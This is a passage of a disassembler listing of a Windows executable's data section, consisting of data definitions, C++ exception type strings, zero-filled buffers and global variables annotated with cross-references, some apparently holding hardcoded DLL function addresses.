dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_43FD18 dd offset off_428D88 ; DATA XREF: seg001:00428F0Co
; seg001:0042900Co
align 10h
a_?avexception@ db '.?AVexception@@',0
off_43FD30 dd offset off_428D88 ; DATA XREF: seg001:off_428DF8o
; seg001:00428E8Co ...
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
off_43FD50 dd offset off_428D88 ; DATA XREF: seg001:off_428E10o
; seg001:00428E54o ...
align 8
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43FD70 dd offset off_428D88 ; DATA XREF: seg001:off_428E98o
; seg001:00428EDCo ...
align 8
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
off_43FD90 dd offset off_428D88 ; DATA XREF: seg001:off_428F18o
; seg001:00428F54o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42495C
align 10h
dword_43FDB0 dd 0 ; DATA XREF: sub_401132+C8o
dword_43FDB4 dd 0 ; DATA XREF: sub_401132+62o
; seg000:0040395Fo ...
dword_43FDB8 dd 0 ; DATA XREF: seg000:004025B7o
; seg000:00402628r ...
dd 5 dup(0)
dword_43FDD0 dd 0 ; DATA XREF: seg000:00402613r
; sub_4151B6+60r
dd 2D9h dup(0)
dword_440938 dd 0 ; DATA XREF: seg000:004078D3r
; seg000:004079D5r ...
dd 7Fh dup(0)
dword_440B38 dd 0 ; DATA XREF: sub_40AF71+4Cw
; sub_40B0AC+3Aw ...
dword_440B3C dd 0 ; DATA XREF: sub_40AF71+3Ew
; sub_40B0AC+40w ...
dword_440B40 dd 0 ; DATA XREF: sub_40AF71+45w
; sub_40B0AC+34r ...
dword_440B44 dd 0 ; DATA XREF: sub_401132+Cr
; sub_401875+B9w ...
dword_440B48 dd 0 ; DATA XREF: sub_40B0AC+6Fr
; sub_40B287+2Aw ...
dword_440B4C dd 0 ; DATA XREF: seg000:0040228Cw
; seg000:004024E9w ...
byte_440B50 db 0 ; DATA XREF: sub_401875+91o
; seg000:0040781Br ...
align 4
dd 12FFh dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: seg002:off_43640Co
db 0
byte_457441 db 3 dup(0) ; DATA XREF: seg002:off_43B124o
dd 0E304h dup(0)
dword_490054 dd 7FFFh dup(0) ; DATA XREF: seg002:00433C21o
; seg002:00434451o
db 2 dup(0)
word_4B0052 dw 0 ; DATA XREF: seg002:00434447o
dd 147Ch dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: seg002:off_43AF90o
dd 61BCh dup(0)
dword_4CD938 dd 856Ch ; DATA XREF: sub_401132+FDw
; sub_40AF71+13o ...
dword_4CD93C dd 19h ; DATA XREF: seg000:00401273w
; seg000:loc_4044D0r ...
dd 5Ah dup(0)
dword_4CDAA8 dd 0 ; DATA XREF: seg000:00409915w
dword_4CDAAC dd 0 ; DATA XREF: seg000:0040236Dr
dword_4CDAB0 dd 0 ; DATA XREF: seg000:0040978Bo
; sub_40C7FA+13o ...
dword_4CDAB4 dd 77C72C6Bh ; DATA XREF: sub_409A01+4A7w
; sub_409A01+4EBr ...
dword_4CDAB8 dd 77EBA994h ; DATA XREF: sub_409A01+65w
; seg000:004199E9r
dword_4CDABC dd 7622A3F4h ; DATA XREF: sub_409A01+80Bw
; sub_409A01+880r ...
dword_4CDAC0 dd 71C45229h ; DATA XREF: sub_409A01+9D8w
; sub_409A01+A43r ...
dword_4CDAC4 dd 71C24870h ; DATA XREF: sub_409A01+98Aw
; sub_409A01+A13r ...
dword_4CDAC8 dd 77C71BB0h ; DATA XREF: sub_409A01+48Dw
; sub_409A01+4DBr ...
dword_4CDACC dd 77D4808Bh ; DATA XREF: sub_409A01+213w
; sub_409A01+234r ...
dword_4CDAD0 dd 71C4502Ch ; DATA XREF: sub_409A01+9CBw
; sub_409A01+A3Br ...
dword_4CDAD4 dd 77DE801Bh ; DATA XREF: sub_409A01+372w
; sub_409A01+3C7r ...
dword_4CDAD8 dd 77DDACABh ; DATA XREF: sub_409A01+40Fw
; sub_41AC18+11Er
dword_4CDADC dd 77DE8075h ; DATA XREF: sub_409A01+37Fw
; sub_409A01+3CFr ...
dword_4CDAE0 dd 77DD7496h ; DATA XREF: sub_409A01+3C0w
; sub_418E8B+ADr
dword_4CDAE4 dd 71AB1B7Bh ; DATA XREF: sub_409A01+55Aw
; sub_40F477+115r ...
dword_4CDAE8 dd 77E686CCh ; DATA XREF: sub_409A01+72w
; sub_409A01+D2r ...
dword_4CDAEC dd 71C2498Bh ; DATA XREF: sub_409A01+97Dw
; sub_409A01+A06r ...
dword_4CDAF0 dd 77DDAB2Fh ; DATA XREF: sub_409A01+3A6w
; sub_409A01+3E7r ...
dword_4CDAF4 dd 7620E8C3h ; DATA XREF: sub_409A01+859w
; sub_409A01+8ACr ...
dword_4CDAF8 dd 77DD23D7h ; DATA XREF: sub_409A01+2A5w
; sub_409A01+2F0r ...
dword_4CDAFC dd 76214750h ; DATA XREF: sub_409A01+84Cw
; sub_409A01+8A4r ...
dword_4CDB00 dd 77E6D75Bh ; DATA XREF: sub_409A01+B3w
dword_4CDB04 dd 7620BD61h ; DATA XREF: sub_409A01+866w
; sub_409A01+8B4r
dword_4CDB08 dd 71AB60C9h ; DATA XREF: sub_409A01+54Dw
; sub_409A01+6D0r ...
dword_4CDB0C dd 77EBA6E9h ; DATA XREF: sub_409A01+58w
; sub_409A01+CAr ...
dword_4CDB10 dd 76D62A58h ; DATA XREF: sub_409A01+934w
dword_4CDB14 dd 76F36EAAh ; DATA XREF: seg000:loc_403EC9r
; sub_409A01+A95w ...
dword_4CDB18 dd 77E802FCh ; DATA XREF: sub_409A01+A6w
; sub_409A01+F2r
dword_4CDB1C dd 77C75455h ; DATA XREF: sub_409A01+480w
; sub_409A01+4D3r ...
dword_4CDB20 dd 71AB12A7h ; DATA XREF: sub_409A01+5F6w
; sub_40BE0D+20r ...
dword_4CDB24 dd 71C574FAh ; DATA XREF: sub_409A01+9BEw
; sub_409A01+A33r
dword_4CDB28 dd 71AB1746h ; DATA XREF: sub_409A01+5E9w
; sub_409A01+754r ...
dword_4CDB2C dd 71C21CA3h ; DATA XREF: sub_409A01+A0Cw
dword_4CDB30 dd 71B28D0Dh ; DATA XREF: sub_409A01+B50w
dword_4CDB34 dd 762211EFh ; DATA XREF: sub_409A01+7FEw
; sub_409A01+86Dr
dword_4CDB38 dd 77D902E3h ; DATA XREF: sub_409A01+1B3w
; sub_40B1B3+16o ...
dword_4CDB3C dd 71C2FA86h ; DATA XREF: sub_409A01+997w
; sub_409A01+A1Br ...
dword_4CDB40 dd 77DE1291h ; DATA XREF: sub_409A01+38Cw
; sub_409A01+3D7r ...
dword_4CDB44 dd 77E2C1B3h ; DATA XREF: sub_409A01+399w
; sub_409A01+3DFr ...
dword_4CDB48 dd 73B81E3Bh ; DATA XREF: sub_409A01+C85w
; sub_409A01+C8Cr ...
dword_4CDB4C dd 71ABF628h ; DATA XREF: sub_409A01+6ACw
; seg000:00410A4Ar
dword_4CDB50 dd 71AB1836h ; DATA XREF: sub_401132+1Dr
; sub_401132+23r ...
dword_4CDB54 dd 77C72889h ; DATA XREF: sub_409A01+4B4w
; seg000:004156C5r
dword_4CDB58 dd 71C453F8h ; DATA XREF: sub_409A01+9E5w
; sub_409A01+A4Br ...
dword_4CDB5C dd 77DD5C55h ; DATA XREF: start+55r sub_409A01+2B2w ...
dword_4CDB60 dd 77E96645h ; DATA XREF: sub_409A01+7Fw
; sub_409A01+DAr ...
dword_4CDB64 dd 77428B97h ; DATA XREF: seg000:00407386r
; seg000:00409400r ...
dword_4CDB68 dd 71AB41DAh ; DATA XREF: seg000:004012C2r
; seg000:00406B85r ...
dword_4CDB6C dd 762059A3h ; DATA XREF: sub_409A01+825w
; sub_409A01+890r ...
dword_4CDB70 dd 71C4A1B4h ; DATA XREF: sub_409A01+9A4w
; sub_409A01+A23r
dword_4CDB74 dd 1F7CD214h ; DATA XREF: sub_409A01+C0Ew
; sub_409A01+C3Fr
dword_4CDB78 dd 77E09134h ; DATA XREF: sub_409A01+2CCw
; sub_4186C5+47r
dword_4CDB7C dd 77D4456Bh ; DATA XREF: sub_409A01+22Dw
; seg000:00411E93r ...
dword_4CDB80 dd 76D629BBh ; DATA XREF: sub_409A01+91Aw
; sub_409A01+92Er
dword_4CDB84 dd 1F7B9D96h ; DATA XREF: sub_409A01+C28w
dword_4CDB88 dd 77E09070h ; DATA XREF: sub_409A01+2D9w
; sub_4186C5+4Fr
dword_4CDB8C dd 71AB1740h ; DATA XREF: sub_409A01+574w
; sub_409A01+6E8r ...
dword_4CDB90 dd 7620AFB6h ; DATA XREF: sub_409A01+83Fw
; sub_409A01+873r
dword_4CDB94 dd 77D5C13Ah ; DATA XREF: sub_409A01+220w
; sub_409A01+23Cr ...
dword_4CDB98 dd 77D45B19h ; DATA XREF: sub_409A01+172w
; sub_409A01+1C2r ...
dword_4CDB9C dd 71AB157Eh ; DATA XREF: seg000:004038A0r
; seg000:0040753Dr ...
dword_4CDBA0 dd 71AB3E5Dh ; DATA XREF: sub_401875+C4r
; seg000:00406C0Fr ...
dword_4CDBA4 dd 71AB14DCh ; DATA XREF: sub_409A01+567w
; sub_409A01+6DCr ...
dword_4CDBA8 dd 0CC0004h ; DATA XREF: sub_409A01+8DBw
; sub_409A01:loc_40A2FAw ...
dword_4CDBAC dd 77DD590Bh ; DATA XREF: start+2Ar sub_409A01+28Bw ...
dword_4CDBB0 dd 71ABD755h ; DATA XREF: seg000:00409382r
; sub_409A01+69Fw ...
dword_4CDBB4 dd 77DF7311h ; DATA XREF: sub_409A01+32Dw
; sub_409A01+341r ...
dword_4CDBB8 dd 77DDA2AFh ; DATA XREF: sub_409A01+3B3w
; sub_409A01+3EFr ...
dword_4CDBBC dd 1F7CD927h ; DATA XREF: sub_409A01+C01w
; sub_409A01+C37r
dword_4CDBC0 dd 76206853h ; DATA XREF: sub_409A01+818w
; sub_409A01+888r ...
dword_4CDBC4 dd 77D4932Ch ; DATA XREF: sub_409A01+206w
; sub_409A01+227r ...
dword_4CDBC8 dd 77D5E310h ; DATA XREF: sub_409A01+18Cw
; sub_409A01+1D2r ...
dword_4CDBCC dd 76206B7Fh ; DATA XREF: sub_409A01+832w
; sub_409A01+898r ...
dword_4CDBD0 dd 71AB1444h ; DATA XREF: sub_409A01+624w
; sub_409A01+774r
dword_4CDBD4 dd 77DD189Ah ; DATA XREF: start+5Er sub_409A01+2BFw ...
dword_4CDBD8 dd 71AB3F8Dh ; DATA XREF: sub_409A01+66Bw
; sub_409A01+79Cr ...
dword_4CDBDC dd 77DD5D20h ; DATA XREF: sub_409A01+320w
; sub_409A01+334r ...
dword_4CDBE0 dd 71AB1890h ; DATA XREF: sub_409A01+644w
; sub_409A01+784r ...
dword_4CDBE4 dd 77C76B34h ; DATA XREF: sub_409A01+44Cw
; sub_409A01+4AEr ...
dword_4CDBE8 dd 77D5E38Ch ; DATA XREF: sub_409A01+199w
; sub_409A01+1DAr ...
dword_4CDBEC dd 77DDA20Bh ; DATA XREF: sub_409A01+365w
; sub_409A01+3BAr ...
dword_4CDBF0 dd 76F36EEBh ; DATA XREF: sub_409A01+AA2w
dword_4CDBF4 dd 71AB12A7h ; DATA XREF: sub_409A01+5DCw
; sub_409A01+748r ...
dword_4CDBF8 dd 71AB1746h ; DATA XREF: sub_401875+3Er
; seg000:00406BC1r ...
dword_4CDBFC dd 77EBA595h ; DATA XREF: sub_409A01+4Bw
; sub_409A01+C2r ...
dword_4CDC00 dd 77C7531Dh ; DATA XREF: sub_409A01+473w
; sub_409A01+4CBr ...
dword_4CDC04 dd 77D4BDCAh ; DATA XREF: sub_409A01+165w
; sub_409A01+1BAr ...
dword_4CDC08 dd 71C3516Ah ; DATA XREF: sub_409A01+9FFw
; sub_409A01+A5Br
dword_4CDC0C dd 71AB32CAh ; DATA XREF: sub_409A01+685w
; sub_409A01+7ACr ...
dword_4CDC10 dd 71AB5690h ; DATA XREF: sub_4019DB+C4r
; seg000:00406C24r ...
dword_4CDC14 dd 1F7CB8F8h ; DATA XREF: sub_409A01+C1Bw
; sub_409A01+C47r
dword_4CDC18 dd 77EBB1E7h ; DATA XREF: sub_409A01+3Ew
; sub_409A01+BAr ...
dword_4CDC1C dd 77DD59F0h ; DATA XREF: start+49r sub_409A01+298w ...
dword_4CDC20 dd 71AB5DE2h ; DATA XREF: sub_409A01+651w
; sub_409A01+78Cr ...
dword_4CDC24 dd 71AB3ECEh ; DATA XREF: sub_409A01+637w
; sub_409A01+77Cr ...
dword_4CDC28 dd 73B81B0Fh ; DATA XREF: seg000:00408DA4r
; sub_409A01+C92w
dword_4CDC2C dd 76204E4Dh ; DATA XREF: sub_409A01+879w
; seg000:00416947r ...
dword_4CDC30 dd 0 ; DATA XREF: sub_409A01+112w
dword_4CDC34 dd 1F7D886Ah ; DATA XREF: sub_409A01+BE7w
; sub_409A01+C22r
dword_4CDC38 dd 71AB12F8h ; DATA XREF: seg000:00404AF4r
; seg000:00407A06r ...
dword_4CDC3C dd 77C76551h ; DATA XREF: sub_409A01+459w
; sub_409A01+4BBr ...
dword_4CDC40 dd 77C729E2h ; DATA XREF: sub_409A01+49Aw
; sub_409A01+4E3r ...
dword_4CDC44 dd 77C7212Fh ; DATA XREF: sub_409A01+466w
; sub_409A01+4C3r ...
dword_4CDC48 dd 71AB1AF4h ; DATA XREF: sub_4019DB+7Cr
; seg000:00406C41r ...
dword_4CDC4C dd 77D5E303h ; DATA XREF: sub_409A01+1A6w
; sub_409A01+1E2r ...
dword_4CDC50 dd 71C4576Ch ; DATA XREF: sub_409A01+9F2w
; sub_409A01+A53r ...
dword_4CDC54 dd 77D4702Fh ; DATA XREF: sub_409A01+158w
; sub_409A01+1ADr ...
dword_4CDC58 dd 77E6C0E3h ; DATA XREF: sub_409A01+8Cw
; sub_409A01+E2r ...
dword_4CDC5C dd 71AB1ED3h ; DATA XREF: sub_409A01+610w
; sub_409A01+764r ...
dword_4CDC60 dd 71B2A381h ; DATA XREF: sub_409A01+B43w
; sub_409A01+B5Fr
dword_4CDC64 dd 77DDA595h ; DATA XREF: sub_409A01+33Aw
; sub_419828+55r
dword_4CDC68 dd 77DD22EAh ; DATA XREF: sub_409A01+27Ew
; sub_409A01+2D3r ...
dword_4CDC6C dd 773F97B0h ; DATA XREF: sub_409A01+BAAw
dword_4CDC70 dd 76D67A29h ; DATA XREF: sub_409A01+AECw
; sub_40AA20+8Fr
dword_4CDC74 dd 76D674FAh ; DATA XREF: sub_409A01+ADFw
; sub_409A01+AE6r ...
dword_4CDC78 dd 71AB3C22h ; DATA XREF: sub_401875+A6r
; seg000:00406BA0r ...
dword_4CDC7C dd 71AB2BBFh ; DATA XREF: seg000:00406B92r
; seg000:004093A6r ...
dword_4CDC80 dd 1F7BA3A9h ; DATA XREF: sub_409A01+BF4w
; sub_409A01+C2Fr
dword_4CDC84 dd 71AB401Ch ; DATA XREF: seg000:004038C6r
; seg000:00407563r ...
dword_4CDC88 dd 71C214BAh ; DATA XREF: sub_409A01+9B1w
; sub_409A01+A2Br ...
dword_4CDC8C dd 71AB868Dh ; DATA XREF: sub_409A01+65Ew
; sub_409A01+794r ...
dword_4CDC90 dd 71AB1A6Dh ; DATA XREF: sub_401132+12r
; sub_401875+D0r ...
dword_4CDC94 dd 71AB155Ah ; DATA XREF: sub_409A01+59Bw
; sub_409A01+70Cr ...
dword_4CDC98 dd 71B22C25h ; DATA XREF: sub_409A01+B36w
; sub_409A01+B57r
dword_4CDC9C dd 71AB5A01h ; DATA XREF: sub_409A01+540w
; sub_409A01+6C4r ...
dword_4CDCA0 dd 71B2ACCBh ; DATA XREF: sub_409A01+B29w
; sub_409A01+B4Ar ...
dword_4CDCA4 dd 77E78C17h ; DATA XREF: seg000:00401288r
; sub_409A01+31w ...
dword_4CDCA8 dd 77D49A11h ; DATA XREF: sub_409A01+17Fw
; sub_409A01+1CAr ...
dword_4CDCAC dd 76D62A37h ; DATA XREF: sub_409A01+927w
; sub_409A01+93Br
dword_4CDCB0 dd 77E6CBF9h ; DATA XREF: sub_409A01+99w
; sub_409A01+EAr ...
dword_4CDCB4 dd 0 ; DATA XREF: sub_409A01:loc_409AFFw
; sub_409A01+12Bw ...
dword_4CDCB8 dd 0 ; DATA XREF: sub_409A01+126w
; sub_40A6BD+1Cr
dword_4CDCBC dd 0 ; DATA XREF: sub_409A01:loc_409BEFw
; sub_409A01:loc_409C56w ...
dword_4CDCC0 dd 0 ; DATA XREF: sub_409A01+250w
; sub_40A6BD+50r
dword_4CDCC4 dd 0 ; DATA XREF: seg000:00405F80r
; sub_409A01:loc_409D09w ...
dword_4CDCC8 dd 0 ; DATA XREF: sub_409A01+41Ew
; sub_40A6BD+84r
dword_4CDCCC dd 0 ; DATA XREF: sub_409A01:loc_409F05w
; sub_40A6BD:loc_40A76Dr
dword_4CDCD0 dd 0 ; DATA XREF: sub_409A01+4FFw
; sub_40A6BD+B8r
dword_4CDCD4 dd 0 ; DATA XREF: sub_409A01:loc_40A1D6w
; sub_40A6BD:loc_40A7A1r
dword_4CDCD8 dd 0 ; DATA XREF: sub_409A01+7D0w
; sub_40A6BD+ECr
dword_4CDCDC dd 0 ; DATA XREF: sub_409A01:loc_40A2C1w
; sub_409A01+8EFw ...
dword_4CDCE0 dd 0 ; DATA XREF: sub_409A01+8EAw
; sub_40A6BD+120r
dword_4CDCE4 dd 0 ; DATA XREF: seg000:loc_406ED3r
; sub_409A01:loc_40A355w ...
dword_4CDCE8 dd 0 ; DATA XREF: sub_409A01+94Fw
; sub_40A6BD+154r
dword_4CDCEC dd 0 ; DATA XREF: seg000:00405F88r
; sub_409A01:loc_40A471w ...
dword_4CDCF0 dd 0 ; DATA XREF: sub_409A01+A6Bw
; sub_40A6BD+188r
dword_4CDCF4 dd 0 ; DATA XREF: sub_409A01:loc_40A4BBw
; sub_40A6BD:loc_40A871r
dword_4CDCF8 dd 0 ; DATA XREF: sub_409A01+AB5w
; sub_40A6BD+1BCr
dword_4CDCFC dd 0 ; DATA XREF: sub_409A01:loc_40A505w
; sub_40A6BD:loc_40A8A5r
dword_4CDD00 dd 0 ; DATA XREF: sub_409A01+AFFw
; sub_40A6BD+1F0r
dword_4CDD04 dd 0 ; DATA XREF: sub_409A01:loc_40A579w
; sub_40A6BD:loc_40A8D9r
dword_4CDD08 dd 0 ; DATA XREF: sub_409A01+B73w
; sub_40A6BD+224r
dword_4CDD0C dd 0 ; DATA XREF: sub_409A01:loc_40A5C3w
; sub_40A6BD:loc_40A90Dr
dword_4CDD10 dd 0 ; DATA XREF: sub_409A01+BBDw
; sub_40A6BD+258r
dword_4CDD14 dd 0 ; DATA XREF: sub_409A01:loc_40A661w
; sub_40A6BD:loc_40A941r
dword_4CDD18 dd 0 ; DATA XREF: sub_409A01+C5Bw
; sub_40A6BD+28Cr
dword_4CDD1C dd 0 ; DATA XREF: sub_409A01:loc_40A6ABw
; sub_40A6BD:loc_40A975r
dword_4CDD20 dd 0 ; DATA XREF: sub_409A01+CA5w
; sub_40A6BD+2C0r
dword_4CDD24 dd 5 dup(0) ; DATA XREF: sub_40AAF8+32o
dword_4CDD38 dd 0 ; DATA XREF: sub_40B8B2+18r
; sub_40BE55+92w ...
dword_4CDD3C dd 0 ; DATA XREF: sub_40BF8E+1F7r
; seg000:0040C27Bw ...
dd 7FEh dup(0)
dword_4CFD38 dd 6 dup(0) ; DATA XREF: sub_40BF8E+C0o
; sub_40BF8E+129o ...
dword_4CFD50 dd 0 ; DATA XREF: seg000:0040BBE0w
; seg000:0040BC76o
dword_4CFD54 dd 0 ; DATA XREF: seg000:0040BC6Cw
; seg000:0040BC88r
dword_4CFD58 dd 0 ; DATA XREF: seg000:0040BBEBw
dword_4CFD5C dd 0 ; DATA XREF: seg000:0040BBD5w
; seg000:0040BC49r
dword_4CFD60 dd 20h dup(0) ; DATA XREF: seg000:0040BBFEo
; seg000:0040BC30o
dword_4CFDE0 dd 0 ; DATA XREF: seg000:0040BBF1w
dword_4CFDE4 dd 0 ; DATA XREF: seg000:0040BC08w
; seg000:0040BC3Aw
dword_4CFDE8 dd 0 ; DATA XREF: seg000:loc_40BDC2r
align 10h
dword_4CFDF0 dd 0 ; DATA XREF: seg000:0040B9ABw
; seg000:0040BA27o
dword_4CFDF4 dd 41h dup(0) ; DATA XREF: seg000:0040B96Ao
dword_4CFEF8 dd 41h dup(0) ; DATA XREF: seg000:0040B992o
dword_4CFFFC dd 0 ; DATA XREF: seg000:0040BA1Dw
; seg000:0040BA39r
dword_4D0000 dd 0 ; DATA XREF: seg000:0040B97Bw
dword_4D0004 dd 0 ; DATA XREF: seg000:0040B976w
; seg000:0040B9FAr
dword_4D0008 dd 20h dup(0) ; DATA XREF: seg000:0040B9C3o
; seg000:0040B9E0o
dword_4D0088 dd 0 ; DATA XREF: seg000:0040B9B8w
dword_4D008C dd 0 ; DATA XREF: seg000:0040B9CDw
; seg000:0040B9EAw
dword_4D0090 dd 0 ; DATA XREF: seg000:loc_40BAF4r
align 8
dword_4D0098 dd 0 ; DATA XREF: seg000:0040BABDw
; seg000:0040BB4Fo
dword_4D009C dd 41h dup(0) ; DATA XREF: seg000:0040BA7Fo
dword_4D01A0 dd 41h dup(0) ; DATA XREF: seg000:0040BAA4o
dword_4D02A4 dd 0 ; DATA XREF: seg000:0040BB45w
; seg000:0040BB61r
dword_4D02A8 dd 0 ; DATA XREF: seg000:0040BA92w
dword_4D02AC dd 0 ; DATA XREF: seg000:0040BA8Dw
; seg000:0040BB22r
dword_4D02B0 dd 20h dup(0) ; DATA XREF: seg000:0040BAD6o
; seg000:0040BB08o
dword_4D0330 dd 0 ; DATA XREF: seg000:0040BAC9w
dword_4D0334 dd 0 ; DATA XREF: seg000:0040BAE0w
; seg000:0040BB12w
dword_4D0338 dd 0 ; DATA XREF: seg000:loc_40BC1Cr
align 10h
dword_4D0340 dd 0 ; DATA XREF: seg000:0040BD37w
; seg000:0040BD90o
dword_4D0344 dd 0A2h dup(0) ; DATA XREF: seg000:0040BD25o
dword_4D05CC dd 41h dup(0) ; DATA XREF: seg000:0040BCEFo
dword_4D06D0 dd 0 ; DATA XREF: seg000:0040BD1Cw
; seg000:0040BD43r
align 8
dword_4D06D8 dd 0 ; DATA XREF: seg000:0040BD86w
; seg000:0040BDA2r
dword_4D06DC dd 0 ; DATA XREF: seg000:0040BD49w
dword_4D06E0 dd 0 ; DATA XREF: seg000:0040BD56w
dword_4D06E4 dd 0 ; DATA XREF: seg000:0040BD16w
dd 0
dword_4D06EC dd 0 ; DATA XREF: seg000:loc_40BDD7r
dword_4D06F0 dd 0 ; DATA XREF: sub_40B57B+Er
; sub_40B57B+31r
dword_4D06F4 dd 0 ; DATA XREF: sub_40B57B+9r
; sub_40B57B+25r ...
dword_4D06F8 dd 80h dup(0) ; DATA XREF: seg000:0040C486o
dword_4D08F8 dd 2 dup(0) ; DATA XREF: sub_40CD4A+68o
dword_4D0900 dd 2080Ah ; DATA XREF: sub_40D73E+8w
; sub_40D83A+2D9o
dword_4D0904 dd 2 dup(0) ; DATA XREF: sub_40D83A+1FFo
; sub_40E3D2+EAo
dword_4D090C dd 0 ; DATA XREF: seg000:0040E8A6r
dd 0
dd 0
dword_4D0918 dd 0 ; DATA XREF: seg000:0040E879r
dword_4D091C dd 0 ; DATA XREF: seg000:0040E85Br
; seg000:0040E8C4r
dword_4D0920 dd 84D3h ; DATA XREF: seg000:0040BBCAr
dword_4D0924 dd 0 ; DATA XREF: sub_40B5E6+1Br
dword_4D0928 dd 0 ; DATA XREF: sub_40F360+2Aw
; sub_40F360+51r ...
align 10h
dword_4D0930 dd 0 ; DATA XREF: seg000:00410AC0r
align 8
dword_4D0938 dd 0 ; DATA XREF: sub_41249E+4w
; sub_41249E+9o
dd 109h dup(0)
dword_4D0D60 dd 187h dup(0) ; DATA XREF: seg000:00404A6Ao
; seg000:loc_404B19o ...
dword_4D137C dd 0 ; DATA XREF: seg000:00403494w
; seg000:00404A62r ...
dd 0
byte_4D1384 db 0 ; DATA XREF: seg000:00414F73o
; seg000:00414F82w ...
byte_4D1385 db 0 ; DATA XREF: seg000:00414F96w
word_4D1386 dw 0 ; DATA XREF: seg000:00414FC7w
word_4D1388 dw 0 ; DATA XREF: seg000:00414FAEw
; seg000:loc_415102w
word_4D138A dw 0 ; DATA XREF: seg000:00414FCDw
byte_4D138C db 0 ; DATA XREF: seg000:00414FBAw
byte_4D138D db 0 ; DATA XREF: seg000:00414F8Fw
word_4D138E dw 0 ; DATA XREF: seg000:00415122w
; seg000:0041514Cw
dword_4D1390 dd 0 ; DATA XREF: seg000:loc_414FFBw
; seg000:004150CCr
dword_4D1394 dd 0 ; DATA XREF: seg000:00415008w
word_4D1398 dw 0 ; DATA XREF: seg000:004150C6w
; seg000:00415118o
word_4D139A dw 0 ; DATA XREF: seg000:00415067w
; seg000:0041508Cr ...
dword_4D139C dd 0 ; DATA XREF: seg000:0041503Ew
; seg000:00415109w
dword_4D13A0 dd 0 ; DATA XREF: seg000:0041505Aw
; seg000:004150DDw ...
byte_4D13A4 db 0 ; DATA XREF: seg000:00415043r
; seg000:00415051w
byte_4D13A5 db 0 ; DATA XREF: seg000:0041500Dw
; seg000:004150D6w ...
word_4D13A6 dw 0 ; DATA XREF: seg000:0041501Bw
word_4D13A8 dw 0 ; DATA XREF: seg000:00415129w
; seg000:0041515Aw
word_4D13AA dw 0 ; DATA XREF: seg000:00415060w
word_4D13AC dw 0 ; DATA XREF: seg000:00415092w
; seg000:00415162o
word_4D13AE dw 0 ; DATA XREF: seg000:004150A1w
; seg000:00415139w
dword_4D13B0 dd 0 ; DATA XREF: seg000:0041509Bw
dd 2 dup(0)
dword_4D13BC dd 0 ; DATA XREF: seg000:004150D1w
; seg000:00415147o
dword_4D13C0 dd 0 ; DATA XREF: seg000:0041506Dw
byte_4D13C4 db 0 ; DATA XREF: seg000:00415073w
byte_4D13C5 db 0 ; DATA XREF: seg000:00415079w
word_4D13C6 dw 0 ; DATA XREF: seg000:00415086w
dword_4D13C8 dd 6 dup(0) ; DATA XREF: seg000:0041511Do
dword_4D13E0 dd 0 ; DATA XREF: seg000:00414D7Bw
; seg000:0041516Br
align 8
dword_4D13E8 dd 100h dup(0) ; DATA XREF: seg000:00414EF7o
; seg000:004151AEo
dword_4D17E8 dd 0A5Ah dup(0) ; DATA XREF: sub_4152AE+1Do
; sub_41534Eo ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: seg002:off_43A494o
dd 5A5h dup(0)
dword_4D57E8 dd 0 ; DATA XREF: sub_4152AE+13o
; sub_41534E+Eo ...
dword_4D57EC dd 0Dh dup(0) ; DATA XREF: sub_416994+Fo
dword_4D5820 dd 80h dup(0) ; DATA XREF: sub_417640+41o
dword_4D5A20 dd 200h dup(0) ; DATA XREF: sub_416F7D+C7o
; sub_4172D8+DDo ...
dword_4D6220 dd 200h dup(0) ; DATA XREF: sub_416F7D+D6o
; sub_4172D8+F4o ...
dword_4D6A20 dd 0 ; DATA XREF: sub_416F7D+86w
; sub_41714F+94r
dword_4D6A24 dd 0 ; DATA XREF: sub_416F7D+A7w
; sub_4175A9+55r ...
dword_4D6A28 dd 0 ; DATA XREF: sub_416F7D+A0w
; sub_41714F+D6r ...
dword_4D6A2C dd 0 ; DATA XREF: sub_416F7D+79w
; sub_41714F+35r ...
dword_4D6A30 dd 80h dup(0) ; DATA XREF: sub_4175A9+5Eo
dword_4D6C30 dd 0 ; DATA XREF: sub_416F7D+93w
; sub_41714F+A2r
dword_4D6C34 dd 0 ; DATA XREF: sub_416F7D+E7o
; sub_416F7D+103r ...
dword_4D6C38 dd 0 ; DATA XREF: sub_4172D8+178w
; sub_41747C+107w
dword_4D6C3C dd 0 ; DATA XREF: sub_4172D8+17Dw
; sub_41747C+10Dw ...
dword_4D6C40 dd 0 ; DATA XREF: sub_4172D8+156w
; sub_4175A9+4Fr
align 8
dword_4D6C48 dd 0 ; DATA XREF: sub_41791B+29w
; sub_41791B:loc_417A9Aw ...
dword_4D6C4C dd 0 ; DATA XREF: seg000:004057AEo
; sub_4177DF+12o ...
dd 0
dword_4D6C54 dd 0 ; DATA XREF: sub_41791B+21r
; sub_417ABA+3Ar
dd 7Fh dup(0)
dword_4D6E54 dd 0 ; DATA XREF: sub_41791B+1Br
; sub_417ABA+4Aw
